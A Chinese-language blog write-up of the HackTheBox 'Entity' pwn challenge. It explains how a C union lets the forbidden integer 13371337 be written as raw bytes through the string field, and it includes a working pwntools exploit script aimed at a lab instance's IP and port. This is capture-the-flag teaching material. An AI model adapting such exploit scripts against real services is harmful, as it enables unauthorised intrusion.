HackTheBox-Challenges Entity Writeup

kazma 成大資安社 創辦人/社長

Exploitation

這題要考的是 Union 的類型混淆,DataStore 的宣告如下:

1
2
3
4
static union {
unsigned long long integer;
char string[8];
} DataStore;

所以 integer 跟 string[8] 是存在同一個地方的,又程式的目標如下:

1
2
3
4
5
6
7
8
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}

DataStore.integer 要是 13371337,但是設定的時候如果我們設定 13371337 他會因為下面的限制被結束掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}

}

看到這裡我們先了解一件事情,如果我們希望 integer 被解釋成 13371337 那他實際存在記憶體的會是 0x0000000000CC7ACD,所以我們可以透過 p64(13371337) 把 byte 直接寫進去。
你們可能會搞混為什麼不是送 ‘13371337’ 進去,因為他會以 ascii 存在記憶體中,所以的差異在這。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

r = remote("83.136.255.253", 40855)
r.sendlineafter(b">> ", "T")
r.sendlineafter(b">> ", "S")
r.sendlineafter(b">> ", p64(13371337))
r.sendlineafter(b">> ", "C")
r.interactive()

Pwned !!!

pwn

  • Title: HackTheBox-Challenges Entity Writeup
  • Author: kazma
  • Created at : 2024-11-08 01:25:58
  • Updated at : 2024-11-08 01:43:31
  • Link: https://kazma.tw/2024/11/08/HackTheBox-Challenges-Entity-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Challenges Entity Writeup